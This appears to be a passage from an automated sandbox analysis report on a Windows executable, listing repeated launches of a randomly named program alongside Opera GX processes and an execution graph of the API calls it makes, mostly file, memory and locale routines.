                                                                                                                                                                                                              Commandline:"C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe"
                                                                                                                                                                                                              Imagebase:0x250000
                                                                                                                                                                                                              File size:140'800 bytes
                                                                                                                                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:36
                                                                                                                                                                                                              Start time:04:34:04
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe
                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1d8,0x1e8,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28
                                                                                                                                                                                                              Imagebase:0x7ff7565c0000
                                                                                                                                                                                                              File size:2'016'664 bytes
                                                                                                                                                                                                              MD5 hash:55B4FA94CEB93E527EDE2947E97F07FC
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:37
                                                                                                                                                                                                              Start time:04:34:04
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe
                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ff7c794669c,0x7ff7c79466a8,0x7ff7c79466b8
                                                                                                                                                                                                              Imagebase:0x7ff7c73f0000
                                                                                                                                                                                                              File size:5'819'288 bytes
                                                                                                                                                                                                              MD5 hash:79F334AD5B1392E99CE978F0072AE109
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:38
                                                                                                                                                                                                              Start time:04:34:04
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe"
                                                                                                                                                                                                              Imagebase:0x250000
                                                                                                                                                                                                              File size:140'800 bytes
                                                                                                                                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:39
                                                                                                                                                                                                              Start time:04:34:04
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe" --start-maximized --lowered-browser
                                                                                                                                                                                                              Imagebase:0x7ff6b12a0000
                                                                                                                                                                                                              File size:1'493'400 bytes
                                                                                                                                                                                                              MD5 hash:0A28FF19DB4A60C38A92C17A53ECAA1E
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:40
                                                                                                                                                                                                              Start time:04:34:04
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe"
                                                                                                                                                                                                              Imagebase:0x250000
                                                                                                                                                                                                              File size:140'800 bytes
                                                                                                                                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:41
                                                                                                                                                                                                              Start time:04:34:04
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe
                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1e4,0x1f4,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28
                                                                                                                                                                                                              Imagebase:0x7ff7565c0000
                                                                                                                                                                                                              File size:2'016'664 bytes
                                                                                                                                                                                                              MD5 hash:55B4FA94CEB93E527EDE2947E97F07FC
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:42
                                                                                                                                                                                                              Start time:04:34:04
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe"
                                                                                                                                                                                                              Imagebase:0x250000
                                                                                                                                                                                                              File size:140'800 bytes
                                                                                                                                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:43
                                                                                                                                                                                                              Start time:04:34:05
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe"
                                                                                                                                                                                                              Imagebase:0x250000
                                                                                                                                                                                                              File size:140'800 bytes
                                                                                                                                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              Disassembly

                                                                                                                                                                                                              Reset < >

                                                                                                                                                                                                                Execution Graph

                                                                                                                                                                                                                Execution Coverage:18.3%
                                                                                                                                                                                                                Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                Signature Coverage:22.2%
                                                                                                                                                                                                                Total number of Nodes:1724
                                                                                                                                                                                                                Total number of Limit Nodes:15
                                                                                                                                                                                                                execution_graph 8183 409a10 8186 4096a0 8183->8186 8185 409a5c 8187 4096b5 8186->8187 8188 4099fa 8186->8188 8187->8188 8211 40ce92 8187->8211 8188->8185 8191 4096d3 8191->8185 8192 40ce92 49 API calls 8193 4096ee 8192->8193 8193->8191 8194 40ce92 49 API calls 8193->8194 8195 409701 8194->8195 8195->8191 8196 40ce92 49 API calls 8195->8196 8197 409717 8196->8197 8198 40971b 8197->8198 8217 40d0b7 8197->8217 8198->8185 8200 409741 8200->8185 8201 40973d 8201->8200 8223 409520 8201->8223 8203 4097af 8204 4099c6 8203->8204 8206 4099b3 8203->8206 8209 40ced6 6 API calls 8203->8209 8210 40d1a6 118 API calls 8203->8210 8227 409570 8203->8227 8234 40d18a 8204->8234 8206->8185 8207 4099cd 8207->8185 8209->8203 8210->8203 8212 40cea1 8211->8212 8213 4096cf 8212->8213 8238 40ce59 8212->8238 8213->8191 8213->8192 8218 40d0c6 8217->8218 8220 40d0e0 8218->8220 8457 40d066 8218->8457 8220->8201 8222 402765 48 API calls 8222->8220 8224 409529 8223->8224 8226 40956a 8224->8226 8460 40cf3f 8224->8460 8226->8203 8230 4095d4 8227->8230 8231 409588 8227->8231 8228 4095b2 8228->8203 8229 409600 8229->8203 8230->8229 8232 40cf3f 6 API calls 8230->8232 8231->8228 8233 40cf3f 6 API calls 8231->8233 8232->8229 8233->8228 8235 40d18f 8234->8235 8236 40d1a2 8235->8236 8499 40d0f9 8235->8499 8236->8207 8246 401d26 8238->8246 8241 402765 8249 4026fb 8241->8249 8244 402773 8244->8213 8245 402774 VirtualAlloc 8245->8213 8247 401d2d VirtualFree 8246->8247 8248 401d3e 8246->8248 8247->8248 8248->8241 8250 40270b 8249->8250 8256 402707 8249->8256 8251 40271b GlobalMemoryStatusEx 8250->8251 8250->8256 8252 402729 8251->8252 8251->8256 8252->8256 8257 4021b3 8252->8257 8256->8244 8256->8245 8258 4021ca 8257->8258 8259 4021f1 8258->8259 8260 4021fb GetLastError wsprintfW GetEnvironmentVariableW GetLastError 8258->8260 8277 408d65 8259->8277 8261 402233 ??2@YAPAXI GetEnvironmentVariableW 8260->8261 8262 4022ab SetLastError 8260->8262 8264 402294 ??3@YAXPAX 8261->8264 8265 402262 GetLastError 8261->8265 8262->8259 8263 4022c2 8262->8263 8266 4022e1 lstrlenA ??2@YAPAXI 8263->8266 8286 40215d 8263->8286 8273 402297 8264->8273 8265->8264 8267 402268 8265->8267 8270 402312 GetLocaleInfoW 8266->8270 8271 40234c MultiByteToWideChar 8266->8271 8272 402272 lstrcmpiW 8267->8272 8267->8273 8270->8271 8275 402339 _wtol 8270->8275 8271->8259 8272->8264 8276 402281 ??3@YAXPAX 8272->8276 8273->8262 8274 4022d7 8274->8266 8275->8271 8276->8273 8293 407cb6 8277->8293 8280 408d8a IsBadReadPtr 8282 408d9c 8280->8282 8298 407d17 8282->8298 8285 408dcd 8285->8256 8287 402167 GetUserDefaultUILanguage 8286->8287 8288 4021ab 8286->8288 8289 402184 8287->8289 8290 402188 GetSystemDefaultUILanguage 8287->8290 8288->8274 8289->8274 8290->8288 8291 402194 GetSystemDefaultLCID 8290->8291 8291->8288 8292 4021a4 8291->8292 8292->8288 8311 401484 8293->8311 8296 407d13 IsWindow 8296->8280 8296->8282 8297 407cef GetSystemMetrics GetSystemMetrics 8297->8296 8299 407d26 8298->8299 8300 407d8a 8298->8300 8299->8300 8319 40279d 8299->8319 8310 407a8a ??3@YAXPAX 8300->8310 8302 407d37 8303 40279d 2 API calls 8302->8303 8304 407d42 8303->8304 8323 404224 8304->8323 8307 404224 20 API calls 8308 407d54 ??3@YAXPAX ??3@YAXPAX 8307->8308 8308->8300 8310->8285 8314 40119e 8311->8314 8315 4011ea 8314->8315 8316 4011ac ??2@YAPAXI 8314->8316 8315->8296 8315->8297 8316->8315 8317 4011cd ??3@YAXPAX 8316->8317 8317->8315 8320 4027b4 8319->8320 8321 40119e 2 API calls 8320->8321 8322 4027bf 8321->8322 8322->8302 8330 402b9d 8323->8330 8327 40423c 8366 4041f0 8327->8366 8331 401484 2 API calls 8330->8331 8332 402bab 8331->8332 8333 402bbb ExpandEnvironmentStringsW 8332->8333 8334 40119e 2 API calls 8332->8334 8335 402bd4 ??3@YAXPAX 8333->8335 8336 402bdf 8333->8336 8334->8333 8337 402c16 8335->8337 8377 4027d6 8336->8377 8343 403ee8 8337->8343 8340 402bfa 8381 4013d5 8340->8381 8342 402c0e ??3@YAXPAX 8342->8337 8344 401484 2 API calls 8343->8344 8345 403ef6 8344->8345 8346 4013d5 2 API calls 8345->8346 8347 403f01 8346->8347 8385 4027ee 8347->8385 8349 403f0e 8350 40279d 2 API calls 8349->8350 8351 403f1b 8350->8351 8389 403e6d 8351->8389 8354 4013d5 2 API calls 8355 403f3f 8354->8355 8356 4027ee 2 API calls 8355->8356 8357 403f4c 8356->8357 8358 40279d 2 API calls 8357->8358 8359 403f59 8358->8359 8360 403e6d 3 API calls 8359->8360 8361 403f69 ??3@YAXPAX 8360->8361 8362 40279d 2 API calls 8361->8362 8363 403f80 8362->8363 8364 403e6d 3 API calls 8363->8364 8365 403f8f ??3@YAXPAX ??3@YAXPAX 8364->8365 8365->8327 8367 402b9d 6 API calls 8366->8367 8368 4041fb 8367->8368 8406 403fa3 8368->8406 8370 404208 8429 40405e 8370->8429 8372 404213 8452 404119 8372->8452 8374 404219 8375 402b9d 6 API calls 8374->8375 8376 40421f 8375->8376 8376->8307 8378 4027e2 8377->8378 8379 4027e8 ExpandEnvironmentStringsW 8377->8379 8380 40119e 2 API calls 8378->8380 8379->8340 8380->8379 8382 4013e1 8381->8382 8383 4013f3 8381->8383 8384 40119e 2 API calls 8382->8384 8383->8342 8384->8383 8386 4027fb 8385->8386 8394 40140b 8386->8394 8388 402806 8388->8349 8390 403e7f ??3@YAXPAX 8389->8390 8392 403e83 8389->8392 8390->8354 8392->8390 8398 402a04 8392->8398 8402 40332f 8392->8402 8395 40144f 8394->8395 8396 40141f 8394->8396 8395->8388 8397 40119e ??2@YAPAXI ??3@YAXPAX 8396->8397 8397->8395 8399 402a1a 8398->8399 8400 402a2e 8399->8400 8401 4025d1 memmove 8399->8401 8400->8392 8401->8400 8403 40333e 8402->8403 8404 402abc ??2@YAPAXI ??3@YAXPAX memmove 8403->8404 8405 403357 8403->8405 8404->8405 8405->8392 8407 401484 2 API calls 8406->8407 8408 403fb1 8407->8408 8409 4013d5 2 API calls 8408->8409 8410 403fbc 8409->8410 8411 4027ee 2 API calls 8410->8411 8412 403fc9 8411->8412 8413 40279d 2 API calls 8412->8413 8414 403fd6 8413->8414 8415 403e6d 3 API calls 8414->8415 8416 403fe6 ??3@YAXPAX 8415->8416 8417 4013d5 2 API calls 8416->8417 8418 403ffa 8417->8418 8419 4027ee 2 API calls 8418->8419 8420 404007 8419->8420 8421 40279d 2 API calls 8420->8421 8422 404014 8421->8422 8423 403e6d 3 API calls 8422->8423 8424 404024 ??3@YAXPAX 8423->8424 8425 40279d 2 API calls 8424->8425 8426 40403b 8425->8426 8427 403e6d 3 API calls 8426->8427 8428 40404a ??3@YAXPAX ??3@YAXPAX 8427->8428 8428->8370 8430 401484 2 API calls 8429->8430 8431 40406c 8430->8431 8432 4013d5 2 API calls 8431->8432 8433 404077 8432->8433 8434 4027ee 2 API calls 8433->8434 8435 404084 8434->8435 8436 40279d 2 API calls 8435->8436 8437 404091 8436->8437 8438 403e6d 3 API calls 8437->8438 8439 4040a1 ??3@YAXPAX 8438->8439 8440 4013d5 2 API calls 8439->8440 8441 4040b5 8440->8441 8442 4027ee 2 API calls 8441->8442 8443 4040c2 8442->8443 8444 40279d 2 API calls 8443->8444 8445 4040cf 8444->8445 8446 403e6d 3 API calls 8445->8446 8447 4040df ??3@YAXPAX 8446->8447 8448 40279d 2 API calls 8447->8448 8449 4040f6 8448->8449 8450 403e6d 3 API calls 8449->8450 8451 404105 ??3@YAXPAX ??3@YAXPAX 8450->8451 8451->8372 8453 40279d 2 API calls 8452->8453 8454 40412c 8453->8454 8455 403e6d 3 API calls 8454->8455 8456 40413d ??3@YAXPAX 8455->8456 8456->8374 8458 401d26 VirtualFree 8457->8458 8459 40d070 8458->8459 8459->8222 8463 40ced6 8460->8463 8464 40cee4 8463->8464 8465 40cee8 8463->8465 8464->8224 8469 40cf7d 8465->8469 8467 40cf0d _CxxThrowException 8467->8464 8470 40cfa2 8469->8470 8471 40cf08 8470->8471 8473 40d02a 8470->8473 8471->8464 8471->8467 8476 40cfdf EnterCriticalSection 8473->8476 8475 40d04e 8475->8471 8482 40c5fe 8476->8482 8478 40d006 LeaveCriticalSection 8478->8475 8483 40c607 8482->8483 8484 40c60e 8482->8484 8483->8478 8488 40c5ca 8483->8488 8492 40beb6 SetFilePointer 8484->8492 8489 40c5e2 8488->8489 8490 40c58e GetLastError 8489->8490 8491 40c5f9 8490->8491 8491->8478 8493 40bedf GetLastError 8492->8493 8494 40bee9 8492->8494 8493->8494 8495 40c58e 8494->8495 8496 40c595 8495->8496 8497 40c598 GetLastError 8495->8497 8496->8483 8498 40c5a2 8497->8498 8498->8483 8500 40d10d 8499->8500 8501 40d132 8500->8501 8502 40d11e memmove 8500->8502 8503 40d14d 8501->8503 8508 40c030 SetFileTime 8501->8508 8509 40127e 8501->8509 8515 40be4b 8501->8515 8518 40efb4 8501->8518 8502->8501 8503->8235 8508->8503 8510 401292 8509->8510 8513 401286 8509->8513 8511 4012af 8510->8511 8524 40c04d 8510->8524 8511->8513 8514 4012bc SetFileAttributesW 8511->8514 8513->8503 8514->8513 8516 40be55 CloseHandle 8515->8516 8517 40be60 8515->8517 8516->8517 8517->8503 8521 40efc0 8518->8521 8519 40f06d 8519->8503 8521->8519 8522 40ef75 112 API calls 8521->8522 8528 412878 8521->8528 8532 40ee54 8521->8532 8522->8521 8527 40c030 SetFileTime 8524->8527 8526 40c05a 8526->8511 8527->8526 8529 412889 8528->8529 8530 412899 8528->8530 8537 40c662 8529->8537 8530->8521 8533 40ee6e 8532->8533 8545 401841 8533->8545 8608 40bfe5 8533->8608 8534 40eea2 8534->8521 8542 40c05d 8537->8542 8539 40c67b 8540 40c58e GetLastError 8539->8540 8541 40c69a 8540->8541 8541->8530 8543 40c06b 8542->8543 8544 40c06e WriteFile 8542->8544 8543->8544 8544->8539 8546 40185d 8545->8546 8552 401853 8545->8552 8611 40f78d _EH_prolog 8546->8611 8548 40188a 8655 40c125 8548->8655 8549 401484 2 API calls 8551 4018a3 8549->8551 8553 401b7d ??3@YAXPAX 8551->8553 8554 4018b8 8551->8554 8552->8534 8558 40c125 VariantClear 8553->8558 8637 40139c 8554->8637 8557 4018c3 8641 40157d 8557->8641 8558->8552 8561 4013d5 2 API calls 8562 4018e2 ??3@YAXPAX 8561->8562 8563 401b43 ??3@YAXPAX 8562->8563 8568 4018f4 8562->8568 8565 40c125 VariantClear 8563->8565 8565->8552 8566 401915 8567 40c125 VariantClear 8566->8567 8569 40191d ??3@YAXPAX 8567->8569 8568->8566 8570 40197f 8568->8570 8571 401940 8568->8571 8569->8548 8573 4019a4 8570->8573 8574 4019bd 8570->8574 8572 40c125 VariantClear 8571->8572 8575 401952 ??3@YAXPAX 8572->8575 8576 40c125 VariantClear 8573->8576 8577 4019c5 8574->8577 8578 4019df GetLocalTime SystemTimeToFileTime 8574->8578 8575->8548 8579 4019ac ??3@YAXPAX 8576->8579 8577->8571 8580 401a13 8577->8580 8581 4019fc 8577->8581 8578->8577 8579->8548 8646 4033b3 GetFileAttributesW 8580->8646 8659 40371d lstrlenW 8581->8659 8585 401b4f GetLastError 8585->8563 8586 401a33 ??2@YAPAXI 8588 401a3f 8586->8588 8587 401b45 8587->8585 8683 40c019 8588->8683 8591 401b2a 8595 40c125 VariantClear 8591->8595 8592 401a7a GetLastError 8686 40136a 8592->8686 8594 401a8c 8596 40371d 88 API calls 8594->8596 8600 401a9a ??3@YAXPAX 8594->8600 8595->8563 8598 401ae7 8596->8598 8598->8600 8601 40c019 2 API calls 8598->8601 8599 401ab7 8602 40c125 VariantClear 8599->8602 8600->8599 8603 401b0c 8601->8603 8604 401ac5 ??3@YAXPAX 8602->8604 8605 401b10 GetLastError 8603->8605 8606 401b21 ??3@YAXPAX 8603->8606 8604->8548 8605->8600 8606->8591 8802 40bf1c 8608->8802 8612 40f896 8611->8612 8613 40f7c8 8611->8613 8614 40f7e5 8612->8614 8615 40f89b 8612->8615 8613->8614 8616 40f862 8613->8616 8617 40f7d7 8613->8617 8629 40f80b 8614->8629 8715 40f50e 8614->8715 8618 40f850 8615->8618 8621 40f8a5 8615->8621 8627 40f7f7 8615->8627 8616->8629 8689 412859 8616->8689 8617->8618 8619 40f7dc 8617->8619 8711 40c1b0 8618->8711 8628 40f7e2 8619->8628 8632 40f810 8619->8632 8621->8618 8621->8632 8626 40f878 8692 40c169 8626->8692 8627->8629 8703 40c1d5 8627->8703 8628->8614 8628->8627 8698 40c12a 8629->8698 8630 40c125 VariantClear 8635 401886 8630->8635 8632->8629 8707 40c1f5 8632->8707 8635->8548 8635->8549 8638 4013b3 8637->8638 8639 40119e 2 API calls 8638->8639 8640 4013be 8639->8640 8640->8557 8642 40136a 2 API calls 8641->8642 8643 40158b 8642->8643 8730 401455 8643->8730 8645 401596 8645->8561 8647 4033d0 8646->8647 8648 401a1f 8646->8648 8649 4033e1 8647->8649 8650 4033d4 SetLastError 8647->8650 8648->8585 8648->8586 8648->8587 8649->8648 8651 4033ea 8649->8651 8653 4033f8 FindFirstFileW 8649->8653 8650->8648 8733 403386 8651->8733 8653->8651 8654 40340b FindClose CompareFileTime 8653->8654 8654->8648 8654->8651 8656 40c0e1 8655->8656 8657 40c102 VariantClear 8656->8657 8658 40c119 8656->8658 8657->8552 8658->8552 8660 40279d 2 API calls 8659->8660 8661 40373e 8660->8661 8662 40119e 2 API calls 8661->8662 8664 40374e 8661->8664 8662->8664 8665 40379c GetSystemTimeAsFileTime GetFileAttributesW 8664->8665 8668 403840 8664->8668 8771 401ba1 CreateDirectoryW 8664->8771 8666 4037b1 8665->8666 8667 4037bb 8665->8667 8669 4033b3 22 API calls 8666->8669 8670 401ba1 4 API calls 8667->8670 8674 4037c1 ??3@YAXPAX 8667->8674 8671 403870 8668->8671 8668->8674 8669->8667 8681 4037ce 8670->8681 8673 408dd2 57 API calls 8671->8673 8672 4037d3 8777 408dd2 8672->8777 8678 40387a ??3@YAXPAX 8673->8678 8680 403885 8674->8680 8676 403834 ??3@YAXPAX 8676->8680 8677 4037e6 memcpy 8677->8681 8678->8680 8680->8571 8681->8672 8681->8676 8681->8677 8682 401ba1 4 API calls 8681->8682 8682->8681 8799 40c002 8683->8799 8687 40119e 2 API calls 8686->8687 8688 401384 8687->8688 8688->8594 8690 40136a 2 API calls 8689->8690 8691 412866 8690->8691 8691->8626 8719 40c153 8692->8719 8695 40c1a9 ??3@YAXPAX 8695->8629 8696 40c18e 8696->8695 8697 40c193 _CxxThrowException 8696->8697 8697->8695 8699 40c0e1 VariantClear 8698->8699 8700 40c136 8699->8700 8701 40c13a memcpy 8700->8701 8702 40c14f 8700->8702 8701->8702 8702->8630 8704 40c1e3 8703->8704 8705 40c1de 8703->8705 8704->8629 8706 40c153 VariantClear 8705->8706 8706->8704 8708 40c203 8707->8708 8709 40c1fe 8707->8709 8708->8629 8710 40c153 VariantClear 8709->8710 8710->8708 8712 40c1be 8711->8712 8713 40c1b9 8711->8713 8712->8629 8714 40c153 VariantClear 8713->8714 8714->8712 8716 40f520 8715->8716 8717 40f53c 8716->8717 8726 40c21c 8716->8726 8717->8629 8722 40c0e1 8719->8722 8721 40c15b SysAllocString 8721->8695 8721->8696 8725 40c0e9 8722->8725 8723 40c102 VariantClear 8723->8721 8724 40c119 8724->8721 8725->8723 8725->8724 8727 40c225 8726->8727 8728 40c22a 8726->8728 8729 40c153 VariantClear 8727->8729 8728->8717 8729->8728 8731 40140b 2 API calls 8730->8731 8732 401465 8731->8732 8732->8645 8739 40301f 8733->8739 8735 40338f 8736 4033b0 8735->8736 8737 403394 GetLastError 8735->8737 8736->8648 8738 40339f 8737->8738 8738->8648 8740 403028 8739->8740 8741 40302c GetFileAttributesW 8739->8741 8740->8735 8742 403042 8741->8742 8743 40303d 8741->8743 8744 403060 8742->8744 8745 403046 SetFileAttributesW 8742->8745 8743->8735 8750 402f12 8744->8750 8746 403053 DeleteFileW 8745->8746 8747 40305c 8745->8747 8746->8735 8747->8735 8751 40279d ??2@YAPAXI ??3@YAXPAX 8750->8751 8752 402f29 8751->8752 8753 4027ee ??2@YAPAXI ??3@YAXPAX 8752->8753 8754 402f36 FindFirstFileW 8753->8754 8755 402f58 8754->8755 8756 402fee SetFileAttributesW 8754->8756 8757 40139c ??2@YAPAXI ??3@YAXPAX 8755->8757 8758 403011 ??3@YAXPAX 8755->8758 8762 401552 ??2@YAPAXI ??3@YAXPAX 8755->8762 8763 4027ee ??2@YAPAXI ??3@YAXPAX 8755->8763 8764 402f88 lstrcmpW 8755->8764 8765 402fbd SetFileAttributesW 8755->8765 8766 402fd1 FindNextFileW 8755->8766 8770 402f12 ??2@YAPAXI ??3@YAXPAX 8755->8770 8756->8758 8759 402ff9 RemoveDirectoryW 8756->8759 8757->8755 8761 403019 8758->8761 8759->8758 8760 403006 ??3@YAXPAX 8759->8760 8760->8761 8761->8735 8762->8755 8763->8755 8764->8766 8767 402f9e lstrcmpW 8764->8767 8765->8758 8768 402fc6 DeleteFileW 8765->8768 8766->8755 8769 402fe7 FindClose 8766->8769 8767->8755 8767->8766 8768->8755 8769->8756 8770->8755 8772 401be2 8771->8772 8773 401bb2 GetLastError 8771->8773 8772->8664 8774 401bcc GetFileAttributesW 8773->8774 8776 401bc1 8773->8776 8774->8772 8774->8776 8775 401bc2 SetLastError 8775->8664 8776->8772 8776->8775 8778 4021b3 19 API calls 8777->8778 8779 408de6 wvsprintfW 8778->8779 8780 408eb5 8779->8780 8781 408e07 GetLastError FormatMessageW 8779->8781 8784 408cee 27 API calls 8780->8784 8782 408e35 FormatMessageW 8781->8782 8783 408e4a lstrlenW lstrlenW ??2@YAPAXI lstrcpyW lstrcpyW 8781->8783 8782->8780 8782->8783 8788 408cee 8783->8788 8786 408ec1 8784->8786 8786->8674 8789 408d63 ??3@YAXPAX LocalFree 8788->8789 8790 408cfd 8788->8790 8789->8786 8791 407cb6 4 API calls 8790->8791 8792 408d0c IsWindow 8791->8792 8793 408d35 8792->8793 8794 408d23 IsBadReadPtr 8792->8794 8795 407d17 22 API calls 8793->8795 8794->8793 8796 408d5b 8795->8796 8798 407a8a ??3@YAXPAX 8796->8798 8798->8789 8800 40bfe5 2 API calls 8799->8800 8801 401a72 8800->8801 8801->8591 8801->8592 8803 40be4b CloseHandle 8802->8803 8804 40bf27 8803->8804 8805 40bf50 8804->8805 8806 40bf2b CreateFileW 8804->8806 8805->8534 8806->8805 8809 409f10 8812 402788 8809->8812 8813 4026fb 47 API calls 8812->8813 8814 402791 8813->8814 8815 402796 8814->8815 8816 402797 malloc 8814->8816 8832 40e827 _EH_prolog 8844 40e85a 8832->8844 8833 40e987 8867 4011fd 8833->8867 8835 40e640 _CxxThrowException ??2@YAPAXI memcpy ??3@YAXPAX 8835->8844 8836 40e9b1 8839 40e9be ??2@YAPAXI 8836->8839 8837 40e99c 8918 40e585 8837->8918 8859 40e9d8 8839->8859 8840 40e7fd 9 API calls 8840->8844 8841 40c419 VirtualFree free ??3@YAXPAX ??3@YAXPAX ctype 8841->8844 8844->8833 8844->8835 8844->8840 8844->8841 8865 40e87c 8844->8865 8911 40e717 8844->8911 8915 40e563 8844->8915 8845 40ea22 8921 40e690 8845->8921 8846 40ea85 ??2@YAPAXI 8846->8859 8848 40e690 4 API calls 8848->8859 8852 40e585 ctype 4 API calls 8852->8859 8854 40eb02 8855 40e690 4 API calls 8854->8855 8856 40eb27 8855->8856 8857 40e585 ctype 4 API calls 8856->8857 8857->8865 8859->8845 8859->8846 8859->8848 